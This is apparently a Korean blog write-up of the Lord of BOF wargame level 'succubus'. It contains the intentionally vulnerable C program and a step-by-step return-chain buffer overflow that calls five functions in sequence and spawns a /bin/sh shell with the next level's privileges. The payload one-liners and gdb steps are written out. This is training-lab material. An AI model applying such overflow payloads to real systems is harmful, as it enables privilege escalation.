/*
The Lord of the BOF : The Fellowship of the BOF
- succubus
- calling functions continuously
*/
#include <stdio.h>
#include <stdlib.h>
#include <dumpcode.h>
// the inspector
int check = 0;
void MO(char *cmd)
{
if(check != 4)
exit(0);
printf("welcome to the MO!\n");
// olleh!
system(cmd);
}
void YUT(void)
{
if(check != 3)
exit(0);
printf("welcome to the YUT!\n");
check = 4;
}
void GUL(void)
{
if(check != 2)
exit(0);
printf("welcome to the GUL!\n");
check = 3;
}
void GYE(void)
{
if(check != 1)
exit(0);
printf("welcome to the GYE!\n");
check = 2;
}
void DO(void)
{
printf("welcome to the DO!\n");
check = 1;
}
main(int argc, char *argv[])
{
char buffer[40];
char *addr;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// you cannot use library
if(strchr(argv[1], '\x40')){
printf("You cannot use library\n");
exit(0);
}
// check address
addr = (char *)&DO;
if(memcmp(argv[1]+44, &addr, 4) != 0){
printf("You must fall in love with DO\n");
exit(0);
}
// overflow!
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// stack destroyer
// 100 : extra space for copied argv[1]
memset(buffer, 0, 44);
memset(buffer+48+100, 0, 0xbfffffff - (int)(buffer+48+100));
// LD_* eraser
// 40 : extra space for memset function
memset(buffer-3000, 0, 3000-40);
}
이 문제는 text segment의 DO, GYE, GUL, YUT, MO를 차례대로 실행해 MO의 system()함수로 succubus의 권한을 얻는 것이다.
"RET Chain", 즉 연쇄작용을 일으켜 차례대로 실행해주면 된다.
우선 각 함수들의 주소를 알아야 한다.
cp를 통해 복사한 파일을 gdb로 주소를 구해준다.
[zombie_assassin@localhost zombie_assassin]$ cp ./succubus ./cuccubus
[zombie_assassin@localhost zombie_assassin]$ gdb -q ./cuccubus
system() 함수의 인자로 "/bin/sh" 문자열 주소를 전달할 것이다.
libc 영역은 사용하지 못하니 인자를 통해 문자열을 전달해야 된다.
우선은 segment fault를 일으켜 core dump를 만든 뒤 분석한다.
[zombie_assassin@localhost zombie_assassin]$ ./cuccubus "`python -c 'print "A"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"AAAA"+"BBBB"+"CCCCCCCCCCCCCCCCCCCCC"'`"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCCCCCCCCCCCCCCCCCC
welcome to the DO!
welcome to the GYE!
welcome to the GUL!
welcome to the YUT!
welcome to the MO!
Segmentation fault (core dumped)
[zombie_assassin@localhost zombie_assassin]$ gdb -q ./cuccubus core
"AAAA"는 MO()함수의 return 주소 자리다. (아무 값을 전달해도 상관없다.)
"BBBB"는 system()함수의 인자가 되는 부분이며, "CCCCCCCCCC"를 "/bin/sh"로 대체하여 "CCCCCCCCCC"의 주소를 "BBBB"자리에 넣어준다.
[zombie_assassin@localhost zombie_assassin]$ ./succubus "`python -c 'print "A"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"AAAA"+"\x98\xfa\xff\xbf"+"/bin/sh"'`"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAin/sh
welcome to the DO!
welcome to the GYE!
welcome to the GUL!
welcome to the YUT!
welcome to the MO!
bash$ id
uid=516(zombie_assassin) gid=516(zombie_assassin) euid=517(succubus) egid=517(succubus) groups=516(zombie_assassin)
'# write-up > - Lord of Bof' 카테고리의 다른 글
[LOB] nightmare -> xavius (0) | 2016.12.08 |
---|---|
[LOB] succubus -> nightmare (0) | 2016.12.08 |
[LOB] assassin -> zombie_assassin (0) | 2016.12.07 |
[LOB] giant -> assassin (0) | 2016.12.07 |
[LOB] bugbear -> giant (0) | 2016.12.06 |